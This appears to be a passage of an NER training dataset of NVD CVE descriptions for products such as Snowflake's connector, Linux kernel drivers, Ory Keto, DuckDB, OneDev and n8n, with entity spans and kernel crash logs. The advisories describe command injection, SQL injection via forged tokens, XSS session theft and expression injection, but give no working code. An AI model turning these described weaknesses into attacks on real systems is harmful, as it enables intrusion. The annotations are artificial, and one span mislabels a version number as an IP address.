{"text": "The Snowflake Connector for Python provides an interface for developing Python applications that can connect to Snowflake and perform all standard operations. Versions prior to 3.0.2 are vulnerable to command injection via single sign-on(SSO) browser URL authentication. In order to exploit the potential for command injection, an attacker would need to be successful in (1) establishing a malicious resource and (2) redirecting users to utilize the resource. The attacker could set up a malicious, publicly accessible server which responds to the SSO URL with an attack payload. If the attacker then tricked a user into visiting the maliciously crafted connection URL, the user’s local machine would render the malicious payload, leading to a remote code execution. This attack scenario can be mitigated through URL whitelisting as well as common anti-phishing resources. Version 3.0.2 contains a patch for this issue.", "spans": {"SYSTEM: Python": [[28, 34], [72, 78]], "VULNERABILITY: remote code execution": [[744, 765]], "VULNERABILITY: command injection": [[201, 218], [309, 326]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34233"}}
{"text": "A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V7.1.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V7.1.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V7.1.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V7.1.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V7.1.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V7.1.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V7.1.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V7.1.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V7.1.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V7.1.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V7.1.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V7.1.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V7.1.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V7.1.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V7.1.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V7.1.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V7.1.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V7.1.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V7.1.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V7.1.2), SCALANCE WAM763-1 (6GK5763-1AL00-7DA0) (All versions >= V1.1.0 < V3.0.0), SCALANCE WAM766-1 (6GK5766-1GE00-7DA0) (All versions >= V1.1.0 < V3.0.0), SCALANCE WAM766-1 (US) (6GK5766-1GE00-7DB0) (All versions >= V1.1.0 < V3.0.0), SCALANCE WAM766-1 EEC (6GK5766-1GE00-7TA0) (All versions >= V1.1.0 < V3.0.0), SCALANCE WAM766-1 EEC (US) (6GK5766-1GE00-7TB0) (All versions >= V1.1.0 < V3.0.0), SCALANCE WUM763-1 (6GK5763-1AL00-3AA0) (All versions >= V1.1.0 < V3.0.0), SCALANCE WUM763-1 (6GK5763-1AL00-3DA0) (All versions >= V1.1.0 < V3.0.0), SCALANCE WUM766-1 (6GK5766-1GE00-3DA0) (All versions >= V1.1.0 < V3.0.0), SCALANCE WUM766-1 (USA) (6GK5766-1GE00-3DB0) (All versions >= V1.1.0 < V3.0.0). Affected devices with TCP Event service enabled do not properly handle malformed packets.\r\nThis could allow an unauthenticated remote attacker to cause a denial of service condition and reboot the device thus possibly affecting other network resources.", "spans": {"VULNERABILITY: denial of service": [[2270, 2287]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31766"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: properly keep track of conduit reference\n\nProblem description\n-------------------\n\nDSA has a mumbo-jumbo of reference handling of the conduit net device\nand its kobject which, sadly, is just wrong and doesn't make sense.\n\nThere are two distinct problems.\n\n1. The OF path, which uses of_find_net_device_by_node(), never releases\n   the elevated refcount on the conduit's kobject. Nominally, the OF and\n   non-OF paths should result in objects having identical reference\n   counts taken, and it is already suspicious that\n   dsa_dev_to_net_device() has a put_device() call which is missing in\n   dsa_port_parse_of(), but we can actually even verify that an issue\n   exists. With CONFIG_DEBUG_KOBJECT_RELEASE=y, if we run this command\n   \"before\" and \"after\" applying this patch:\n\n(unbind the conduit driver for net device eno2)\necho 0000:00:00.2 > /sys/bus/pci/drivers/fsl_enetc/unbind\n\nwe see these lines in the output diff which appear only with the patch\napplied:\n\nkobject: 'eno2' (ffff002009a3a6b8): kobject_release, parent 0000000000000000 (delayed 1000)\nkobject: '109' (ffff0020099d59a0): kobject_release, parent 0000000000000000 (delayed 1000)\n\n2. After we find the conduit interface one way (OF) or another (non-OF),\n   it can get unregistered at any time, and DSA remains with a long-lived,\n   but in this case stale, cpu_dp->conduit pointer. Holding the net\n   device's underlying kobject isn't actually of much help, it just\n   prevents it from being freed (but we never need that kobject\n   directly). What helps us to prevent the net device from being\n   unregistered is the parallel netdev reference mechanism (dev_hold()\n   and dev_put()).\n\nActually we actually use that netdev tracker mechanism implicitly on\nuser ports since commit 2f1e8ea726e9 (\"net: dsa: link interfaces with\nthe DSA master to get rid of lockdep warnings\"), via netdev_upper_dev_link().\nBut time still passes at DSA switch probe time between the initial\nof_find_net_device_by_node() code and the user port creation time, time\nduring which the conduit could unregister itself and DSA wouldn't know\nabout it.\n\nSo we have to run of_find_net_device_by_node() under rtnl_lock() to\nprevent that from happening, and release the lock only with the netdev\ntracker having acquired the reference.\n\nDo we need to keep the reference until dsa_unregister_switch() /\ndsa_switch_shutdown()?\n1: Maybe yes. A switch device will still be registered even if all user\n   ports failed to probe, see commit 86f8b1c01a0a (\"net: dsa: Do not\n   make user port errors fatal\"), and the cpu_dp->conduit pointers\n   remain valid.  I haven't audited all call paths to see whether they\n   will actually use the conduit in lack of any user port, but if they\n   do, it seems safer to not rely on user ports for that reference.\n2. Definitely yes. We support changing the conduit which a user port is\n   associated to, and we can get into a situation where we've moved all\n   user ports away from a conduit, thus no longer hold any reference to\n   it via the net device tracker. But we shouldn't let it go nonetheless\n   - see the next change in relation to dsa_tree_find_first_conduit()\n   and LAG conduits which disappear.\n   We have to be prepared to return to the physical conduit, so the CPU\n   port must explicitly keep another reference to it. This is also to\n   say: the user ports and their CPU ports may not always keep a\n   reference to the same conduit net device, and both are needed.\n\nAs for the conduit's kobject for the /sys/class/net/ entry, we don't\ncare about it, we can release it as soon as we hold the net device\nobject itself.\n\nHistory and blame attribution\n-----------------------------\n\nThe code has been refactored so many times, it is very difficult to\nfollow and properly attribute a blame, but I'll try to make a short\nhistory which I hope to be correct.\n\nWe have two distinct probing paths:\n- one for OF, introduced in 2016 i\n---truncated---", "spans": {"FILEPATH: /sys/bus/pci/drivers/fsl_enetc/unbind": [[925, 962]], "FILEPATH: /sys/class/net": [[3563, 3577]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71152"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: core: Fix bad pointer dereference when ehandler kthread is invalid\n\nCommit 66a834d09293 (\"scsi: core: Fix error handling of scsi_host_alloc()\")\nchanged the allocation logic to call put_device() to perform host cleanup\nwith the assumption that IDA removal and stopping the kthread would\nproperly be performed in scsi_host_dev_release(). However, in the unlikely\ncase that the error handler thread fails to spawn, shost->ehandler is set\nto ERR_PTR(-ENOMEM).\n\nThe error handler cleanup code in scsi_host_dev_release() will call\nkthread_stop() if shost->ehandler != NULL which will always be the case\nwhether the kthread was successfully spawned or not. In the case that it\nfailed to spawn this has the nasty side effect of trying to dereference an\ninvalid pointer when kthread_stop() is called. The following splat provides\nan example of this behavior in the wild:\n\nscsi host11: error handler thread failed to spawn, error = -4\nKernel attempted to read user page (10c) - exploit attempt? (uid: 0)\nBUG: Kernel NULL pointer dereference on read at 0x0000010c\nFaulting instruction address: 0xc00000000818e9a8\nOops: Kernel access of bad area, sig: 11 [#1]\nLE PAGE_SIZE=64K MMU=Hash SMP NR_CPUS=2048 NUMA pSeries\nModules linked in: ibmvscsi(+) scsi_transport_srp dm_multipath dm_mirror dm_region\n hash dm_log dm_mod fuse overlay squashfs loop\nCPU: 12 PID: 274 Comm: systemd-udevd Not tainted 5.13.0-rc7 #1\nNIP:  c00000000818e9a8 LR: c0000000089846e8 CTR: 0000000000007ee8\nREGS: c000000037d12ea0 TRAP: 0300   Not tainted  (5.13.0-rc7)\nMSR:  800000000280b033 &lt;SF,VEC,VSX,EE,FP,ME,IR,DR,RI,LE&gt;  CR: 28228228\nXER: 20040001\nCFAR: c0000000089846e4 DAR: 000000000000010c DSISR: 40000000 IRQMASK: 0\nGPR00: c0000000089846e8 c000000037d13140 c000000009cc1100 fffffffffffffffc\nGPR04: 0000000000000001 0000000000000000 0000000000000000 c000000037dc0000\nGPR08: 0000000000000000 c000000037dc0000 0000000000000001 00000000fffff7ff\nGPR12: 0000000000008000 c00000000a049000 c000000037d13d00 000000011134d5a0\nGPR16: 0000000000001740 c0080000190d0000 c0080000190d1740 c000000009129288\nGPR20: c000000037d13bc0 0000000000000001 c000000037d13bc0 c0080000190b7898\nGPR24: c0080000190b7708 0000000000000000 c000000033bb2c48 0000000000000000\nGPR28: c000000046b28280 0000000000000000 000000000000010c fffffffffffffffc\nNIP [c00000000818e9a8] kthread_stop+0x38/0x230\nLR [c0000000089846e8] scsi_host_dev_release+0x98/0x160\nCall Trace:\n[c000000033bb2c48] 0xc000000033bb2c48 (unreliable)\n[c0000000089846e8] scsi_host_dev_release+0x98/0x160\n[c00000000891e960] device_release+0x60/0x100\n[c0000000087e55c4] kobject_release+0x84/0x210\n[c00000000891ec78] put_device+0x28/0x40\n[c000000008984ea4] scsi_host_alloc+0x314/0x430\n[c0080000190b38bc] ibmvscsi_probe+0x54/0xad0 [ibmvscsi]\n[c000000008110104] vio_bus_probe+0xa4/0x4b0\n[c00000000892a860] really_probe+0x140/0x680\n[c00000000892aefc] driver_probe_device+0x15c/0x200\n[c00000000892b63c] device_driver_attach+0xcc/0xe0\n[c00000000892b740] __driver_attach+0xf0/0x200\n[c000000008926f28] bus_for_each_dev+0xa8/0x130\n[c000000008929ce4] driver_attach+0x34/0x50\n[c000000008928fc0] bus_add_driver+0x1b0/0x300\n[c00000000892c798] driver_register+0x98/0x1a0\n[c00000000810eb60] __vio_register_driver+0x80/0xe0\n[c0080000190b4a30] ibmvscsi_module_init+0x9c/0xdc [ibmvscsi]\n[c0000000080121d0] do_one_initcall+0x60/0x2d0\n[c000000008261abc] do_init_module+0x7c/0x320\n[c000000008265700] load_module+0x2350/0x25b0\n[c000000008265cb4] __do_sys_finit_module+0xd4/0x160\n[c000000008031110] system_call_exception+0x150/0x2d0\n[c00000000800d35c] system_call_common+0xec/0x278\n\nFix this be nulling shost->ehandler when the kthread fails to spawn.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[1432, 1439]], "VULNERABILITY: NULL pointer dereference": [[1081, 1105]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47337"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/debug_vm_pgtable: clear page table entries at destroy_args()\n\nThe mm/debug_vm_pagetable test allocates manually page table entries for\nthe tests it runs, using also its manually allocated mm_struct.  That in\nitself is ok, but when it exits, at destroy_args() it fails to clear those\nentries with the *_clear functions.\n\nThe problem is that leaves stale entries.  If another process allocates an\nmm_struct with a pgd at the same address, it may end up running into the\nstale entry.  This is happening in practice on a debug kernel with\nCONFIG_DEBUG_VM_PGTABLE=y, for example this is the output with some extra\ndebugging I added (it prints a warning trace if pgtables_bytes goes\nnegative, in addition to the warning at check_mm() function):\n\n[    2.539353] debug_vm_pgtable: [get_random_vaddr         ]: random_vaddr is 0x7ea247140000\n[    2.539366] kmem_cache info\n[    2.539374] kmem_cachep 0x000000002ce82385 - freelist 0x0000000000000000 - offset 0x508\n[    2.539447] debug_vm_pgtable: [init_args                ]: args->mm is 0x000000002267cc9e\n(...)\n[    2.552800] WARNING: CPU: 5 PID: 116 at include/linux/mm.h:2841 free_pud_range+0x8bc/0x8d0\n[    2.552816] Modules linked in:\n[    2.552843] CPU: 5 UID: 0 PID: 116 Comm: modprobe Not tainted 6.12.0-105.debug_vm2.el10.ppc64le+debug #1 VOLUNTARY\n[    2.552859] Hardware name: IBM,9009-41A POWER9 (architected) 0x4e0202 0xf000005 of:IBM,FW910.00 (VL910_062) hv:phyp pSeries\n[    2.552872] NIP:  c0000000007eef3c LR: c0000000007eef30 CTR: c0000000003d8c90\n[    2.552885] REGS: c0000000622e73b0 TRAP: 0700   Not tainted  (6.12.0-105.debug_vm2.el10.ppc64le+debug)\n[    2.552899] MSR:  800000000282b033 <SF,VEC,VSX,EE,FP,ME,IR,DR,RI,LE>  CR: 24002822  XER: 0000000a\n[    2.552954] CFAR: c0000000008f03f0 IRQMASK: 0\n[    2.552954] GPR00: c0000000007eef30 c0000000622e7650 c000000002b1ac00 0000000000000001\n[    2.552954] GPR04: 0000000000000008 0000000000000000 c0000000007eef30 ffffffffffffffff\n[    2.552954] GPR08: 00000000ffff00f5 0000000000000001 0000000000000048 0000000000004000\n[    2.552954] GPR12: 00000003fa440000 c000000017ffa300 c0000000051d9f80 ffffffffffffffdb\n[    2.552954] GPR16: 0000000000000000 0000000000000008 000000000000000a 60000000000000e0\n[    2.552954] GPR20: 4080000000000000 c0000000113af038 00007fffcf130000 0000700000000000\n[    2.552954] GPR24: c000000062a6a000 0000000000000001 8000000062a68000 0000000000000001\n[    2.552954] GPR28: 000000000000000a c000000062ebc600 0000000000002000 c000000062ebc760\n[    2.553170] NIP [c0000000007eef3c] free_pud_range+0x8bc/0x8d0\n[    2.553185] LR [c0000000007eef30] free_pud_range+0x8b0/0x8d0\n[    2.553199] Call Trace:\n[    2.553207] [c0000000622e7650] [c0000000007eef30] free_pud_range+0x8b0/0x8d0 (unreliable)\n[    2.553229] [c0000000622e7750] [c0000000007f40b4] free_pgd_range+0x284/0x3b0\n[    2.553248] [c0000000622e7800] [c0000000007f4630] free_pgtables+0x450/0x570\n[    2.553274] [c0000000622e78e0] [c0000000008161c0] exit_mmap+0x250/0x650\n[    2.553292] [c0000000622e7a30] [c0000000001b95b8] __mmput+0x98/0x290\n[    2.558344] [c0000000622e7a80] [c0000000001d1018] exit_mm+0x118/0x1b0\n[    2.558361] [c0000000622e7ac0] [c0000000001d141c] do_exit+0x2ec/0x870\n[    2.558376] [c0000000622e7b60] [c0000000001d1ca8] do_group_exit+0x88/0x150\n[    2.558391] [c0000000622e7bb0] [c0000000001d1db8] sys_exit_group+0x48/0x50\n[    2.558407] [c0000000622e7be0] [c00000000003d810] system_call_exception+0x1e0/0x4c0\n[    2.558423] [c0000000622e7e50] [c00000000000d05c] system_call_vectored_common+0x15c/0x2ec\n(...)\n[    2.558892] ---[ end trace 0000000000000000 ]---\n[    2.559022] BUG: Bad rss-counter state mm:000000002267cc9e type:MM_ANONPAGES val:1\n[    2.559037] BUG: non-zero pgtables_bytes on freeing mm: -6144\n\nHere the modprobe process ended up with an allocated mm_struct from the\nmm_struct slab that was used before by the debug_vm_pgtable test.  That is\nnot a problem, since the mm_stru\n---truncated---", "spans": {"FILEPATH: /linux/mm.h": [[1176, 1187]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: IBM": [[1402, 1405], [1458, 1461]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39776"}}
{"text": "Ory Keto is am open source authorization server for managing permissions at scale. Prior to version 26.2.0, the GetRelationships API in Ory Keto is vulnerable to SQL injection due to flaws in its pagination implementation. Pagination tokens are encrypted using the secret configured in `secrets.pagination`. An attacker who knows this secret can craft their own tokens, including malicious tokens that lead to SQL injection. If this configuration value is not set, Keto falls back to a hard-coded default pagination encryption secret. Because this default value is publicly known, attackers can generate valid and malicious pagination tokens manually for installations where this secret is not set. This issue can be exploited when GetRelationships API is directly or indirectly accessible to the attacker, the attacker can pass a raw pagination token to the affected API, and the configuration value `secrets.pagination` is not set or known to the attacker. An attacker can execute arbitrary SQL queries through forged pagination tokens. As a first line of defense, immediately configure a custom value for `secrets.pagination` by generating a cryptographically secure random secret. Next, upgrade Keto to a fixed version, 26.2.0 or later, as soon as possible.", "spans": {"VULNERABILITY: SQL injection": [[162, 175], [410, 423]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33505"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btnxpuart: Fix Null pointer dereference in btnxpuart_flush()\n\nThis adds a check before freeing the rx->skb in flush and close\nfunctions to handle the kernel crash seen while removing driver after FW\ndownload fails or before FW download completes.\n\ndmesg log:\n[   54.634586] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000080\n[   54.643398] Mem abort info:\n[   54.646204]   ESR = 0x0000000096000004\n[   54.649964]   EC = 0x25: DABT (current EL), IL = 32 bits\n[   54.655286]   SET = 0, FnV = 0\n[   54.658348]   EA = 0, S1PTW = 0\n[   54.661498]   FSC = 0x04: level 0 translation fault\n[   54.666391] Data abort info:\n[   54.669273]   ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000\n[   54.674768]   CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n[   54.674771]   GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n[   54.674775] user pgtable: 4k pages, 48-bit VAs, pgdp=0000000048860000\n[   54.674780] [0000000000000080] pgd=0000000000000000, p4d=0000000000000000\n[   54.703880] Internal error: Oops: 0000000096000004 [#1] PREEMPT SMP\n[   54.710152] Modules linked in: btnxpuart(-) overlay fsl_jr_uio caam_jr caamkeyblob_desc caamhash_desc caamalg_desc crypto_engine authenc libdes crct10dif_ce polyval_ce polyval_generic snd_soc_imx_spdif snd_soc_imx_card snd_soc_ak5558 snd_soc_ak4458 caam secvio error snd_soc_fsl_micfil snd_soc_fsl_spdif snd_soc_fsl_sai snd_soc_fsl_utils imx_pcm_dma gpio_ir_recv rc_core sch_fq_codel fuse\n[   54.744357] CPU: 3 PID: 72 Comm: kworker/u9:0 Not tainted 6.6.3-otbr-g128004619037 #2\n[   54.744364] Hardware name: FSL i.MX8MM EVK board (DT)\n[   54.744368] Workqueue: hci0 hci_power_on\n[   54.757244] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[   54.757249] pc : kfree_skb_reason+0x18/0xb0\n[   54.772299] lr : btnxpuart_flush+0x40/0x58 [btnxpuart]\n[   54.782921] sp : ffff8000805ebca0\n[   54.782923] x29: ffff8000805ebca0 x28: ffffa5c6cf1869c0 x27: ffffa5c6cf186000\n[   54.782931] x26: ffff377b84852400 x25: ffff377b848523c0 x24: ffff377b845e7230\n[   54.782938] x23: ffffa5c6ce8dbe08 x22: ffffa5c6ceb65410 x21: 00000000ffffff92\n[   54.782945] x20: ffffa5c6ce8dbe98 x19: ffffffffffffffac x18: ffffffffffffffff\n[   54.807651] x17: 0000000000000000 x16: ffffa5c6ce2824ec x15: ffff8001005eb857\n[   54.821917] x14: 0000000000000000 x13: ffffa5c6cf1a02e0 x12: 0000000000000642\n[   54.821924] x11: 0000000000000040 x10: ffffa5c6cf19d690 x9 : ffffa5c6cf19d688\n[   54.821931] x8 : ffff377b86000028 x7 : 0000000000000000 x6 : 0000000000000000\n[   54.821938] x5 : ffff377b86000000 x4 : 0000000000000000 x3 : 0000000000000000\n[   54.843331] x2 : 0000000000000000 x1 : 0000000000000002 x0 : ffffffffffffffac\n[   54.857599] Call trace:\n[   54.857601]  kfree_skb_reason+0x18/0xb0\n[   54.863878]  btnxpuart_flush+0x40/0x58 [btnxpuart]\n[   54.863888]  hci_dev_open_sync+0x3a8/0xa04\n[   54.872773]  hci_power_on+0x54/0x2e4\n[   54.881832]  process_one_work+0x138/0x260\n[   54.881842]  worker_thread+0x32c/0x438\n[   54.881847]  kthread+0x118/0x11c\n[   54.881853]  ret_from_fork+0x10/0x20\n[   54.896406] Code: a9be7bfd 910003fd f9000bf3 aa0003f3 (b940d400)\n[   54.896410] ---[ end trace 0000000000000000 ]---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: Null pointer dereference": [[95, 119]], "VULNERABILITY: NULL pointer dereference": [[378, 402]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46749"}}
{"text": "DuckDB is a SQL database management system. DuckDB implemented block-based encryption of DB on the filesystem starting with DuckDB 1.4.0. There are a few issues related to this implementation. The DuckDB can fall back to an insecure random number generator (pcg32) to generate cryptographic keys or IVs. When clearing keys from memory, the compiler may remove the memset() and leave sensitive data on the heap. By modifying the database header, an attacker could downgrade the encryption mode from GCM to CTR to bypass integrity checks. There may be a failure to check return value on call to OpenSSL `rand_bytes()`. An attacker could use public IVs to compromise the internal state of RNG and determine the randomly generated key used to encrypt temporary files, get access to cryptographic keys if they have access to process memory (e.g. through memory leak),circumvent GCM integrity checks, and/or influence the OpenSSL random number generator and DuckDB would not be able to detect a failure of the generator. Version 1.4.2 has disabled the insecure random number generator by no longer using the fallback to write to or create databases. Instead, DuckDB will now attempt to install and load the OpenSSL implementation in the `httpfs` extension. DuckDB now uses secure MbedTLS primitive to clear memory as recommended and requires explicit specification of ciphers without integrity checks like CTR on `ATTACH`. Additionally, DuckDB now checks the return code.", "spans": {"SYSTEM: OpenSSL": [[593, 600], [916, 923], [1201, 1208]], "VULNERABILITY: memory leak": [[849, 860]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-64429"}}
{"text": "An Exposure of Sensitive Information to an Unauthorized Actor vulnerability in the PFE of Juniper Networks Junos OS on PTX Series and QFX10k Series allows an adjacent unauthenticated attacker to gain access to sensitive information. PTX1000 and PTX10000 Series, and QFX10000 Series and PTX5000 Series devices sometimes do not reliably pad Ethernet packets, and thus some packets can contain fragments of system memory or data from previous packets. This issue is also known as 'Etherleak' and often detected as CVE-2003-0001. This issue affects: Juniper Networks Junos OS on PTX1000 and PTX10000 Series: All versions prior to 18.4R3-S11; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S8, 19.2R3-S4; 19.3 versions prior to 19.3R3-S4; 19.4 versions prior to 19.4R2-S5, 19.4R3-S6; 20.1 versions prior to 20.1R3-S2; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S2; 20.4 versions prior to 20.4R3-S4; 21.1 versions prior to 21.1R2-S1, 21.1R3; 21.2 versions prior to 21.2R1-S1, 21.2R2. Juniper Networks Junos OS on QFX10000 Series and PTX5000 Series: All versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R2-S9, 18.4R3-S10; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S8, 19.2R3-S4; 19.3 versions prior to 19.3R3-S4; 19.4 versions prior to 19.4R2-S6, 19.4R3-S6; 20.1 versions prior to 20.1R3-S2; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R3-S1; 21.1 versions prior to 21.1R2-S1, 21.1R3; 21.2 versions prior to 21.2R2.", "spans": {"CVE_ID: CVE-2003-0001": [[511, 524]], "ORGANIZATION: Juniper": [[90, 97], [546, 553], [1027, 1034]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22216"}}
{"text": "Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: Advanced UI). The supported version that is affected is 12.2.1.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Sites, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle WebCenter Sites accessible data as well as unauthorized read access to a subset of Oracle WebCenter Sites accessible data. CVSS 3.0 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 12.2.1.3": [[148, 156]], "ORGANIZATION: Oracle": [[21, 27], [55, 61], [268, 274], [409, 415], [598, 604], [688, 694]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2539"}}
{"text": "Onedev is an open source, self-hosted Git Server with CI/CD and Kanban. During CI/CD builds, it is possible to save build artifacts for later retrieval. They can be accessed through OneDev's web UI after the successful run of a build. These artifact files are served by the webserver in the same context as the UI without any further restrictions. This leads to Cross-Site Scripting (XSS) when a user creates a build artifact that contains HTML. When accessing the artifact, the content is rendered by the browser, including any JavaScript that it contains. Since all cookies (except for the rememberMe one) do not set the HttpOnly flag, an attacker could steal the session of a victim and use it to impersonate them. To exploit this issue, attackers need to be able to modify the content of artifacts, which usually means they need to be able to modify a project's build spec. The exploitation requires the victim to click on an attacker's link. It can be used to elevate privileges by targeting admins of a OneDev instance. In the worst case, this can lead to arbitrary code execution on the server, because admins can create Server Shell Executors and use them to run any command on the server. This issue has been patched in version 7.3.0. Users are advised to upgrade. There are no known workarounds for this issue.", "spans": {"VULNERABILITY: Cross-Site Scripting": [[362, 382]], "VULNERABILITY: code execution": [[1072, 1086]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39207"}}
{"text": "n8n is an open source workflow automation platform. Prior to versions 2.10.1, 2.9.3, and 1.123.22, a second-order expression injection vulnerability existed in n8n's Form nodes that could allow an unauthenticated attacker to inject and evaluate arbitrary n8n expressions by submitting crafted form data. When chained with an expression sandbox escape, this could escalate to remote code execution on the n8n host. The vulnerability requires a specific workflow configuration to be exploitable. First, a form node with a field interpolating a value provided by an unauthenticated user, e.g. a form submitted value. Second, the field value must begin with an `=` character, which caused n8n to treat it as an expression and triggered a double-evaluation of the field content. There is no practical reason for a workflow designer to prefix a field with `=` intentionally — the character is not rendered in the output, so the result would not match the designer's expectations. If added accidentally, it would be noticeable and very unlikely to persist. An unauthenticated attacker would need to either know about this specific circumstance on a target instance or discover a matching form by chance. Even when the preconditions are met, the expression injection alone is limited to data accessible within the n8n expression context. Escalation to remote code execution requires chaining with a separate sandbox escape vulnerability. The issue has been fixed in n8n versions 2.10.1, 2.9.3, and 1.123.22. Users should upgrade to one of these versions or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations. Review usage of form nodes manually for above mentioned preconditions, disable the Form node by adding `n8n-nodes-base.form` to the `NODES_EXCLUDE` environment variable, and/or disable the Form Trigger node by adding `n8n-nodes-base.formTrigger` to the `NODES_EXCLUDE` environment variable. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.", "spans": {"VULNERABILITY: remote code execution": [[375, 396], [1344, 1365]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27493"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nath9k_htc: fix uninit value bugs\n\nSyzbot reported 2 KMSAN bugs in ath9k. All of them are caused by missing\nfield initialization.\n\nIn htc_connect_service() svc_meta_len and pad are not initialized. Based\non code it looks like in current skb there is no service data, so simply\ninitialize svc_meta_len to 0.\n\nhtc_issue_send() does not initialize htc_frame_hdr::control array. Based\non firmware code, it will initialize it by itself, so simply zero whole\narray to make KMSAN happy\n\nFail logs:\n\nBUG: KMSAN: kernel-usb-infoleak in usb_submit_urb+0x6c1/0x2aa0 drivers/usb/core/urb.c:430\n usb_submit_urb+0x6c1/0x2aa0 drivers/usb/core/urb.c:430\n hif_usb_send_regout drivers/net/wireless/ath/ath9k/hif_usb.c:127 [inline]\n hif_usb_send+0x5f0/0x16f0 drivers/net/wireless/ath/ath9k/hif_usb.c:479\n htc_issue_send drivers/net/wireless/ath/ath9k/htc_hst.c:34 [inline]\n htc_connect_service+0x143e/0x1960 drivers/net/wireless/ath/ath9k/htc_hst.c:275\n...\n\nUninit was created at:\n slab_post_alloc_hook mm/slab.h:524 [inline]\n slab_alloc_node mm/slub.c:3251 [inline]\n __kmalloc_node_track_caller+0xe0c/0x1510 mm/slub.c:4974\n kmalloc_reserve net/core/skbuff.c:354 [inline]\n __alloc_skb+0x545/0xf90 net/core/skbuff.c:426\n alloc_skb include/linux/skbuff.h:1126 [inline]\n htc_connect_service+0x1029/0x1960 drivers/net/wireless/ath/ath9k/htc_hst.c:258\n...\n\nBytes 4-7 of 18 are uninitialized\nMemory access of size 18 starts at ffff888027377e00\n\nBUG: KMSAN: kernel-usb-infoleak in usb_submit_urb+0x6c1/0x2aa0 drivers/usb/core/urb.c:430\n usb_submit_urb+0x6c1/0x2aa0 drivers/usb/core/urb.c:430\n hif_usb_send_regout drivers/net/wireless/ath/ath9k/hif_usb.c:127 [inline]\n hif_usb_send+0x5f0/0x16f0 drivers/net/wireless/ath/ath9k/hif_usb.c:479\n htc_issue_send drivers/net/wireless/ath/ath9k/htc_hst.c:34 [inline]\n htc_connect_service+0x143e/0x1960 drivers/net/wireless/ath/ath9k/htc_hst.c:275\n...\n\nUninit was created at:\n slab_post_alloc_hook mm/slab.h:524 [inline]\n slab_alloc_node mm/slub.c:3251 [inline]\n __kmalloc_node_track_caller+0xe0c/0x1510 mm/slub.c:4974\n kmalloc_reserve net/core/skbuff.c:354 [inline]\n __alloc_skb+0x545/0xf90 net/core/skbuff.c:426\n alloc_skb include/linux/skbuff.h:1126 [inline]\n htc_connect_service+0x1029/0x1960 drivers/net/wireless/ath/ath9k/htc_hst.c:258\n...\n\nBytes 16-17 of 18 are uninitialized\nMemory access of size 18 starts at ffff888027377e00", 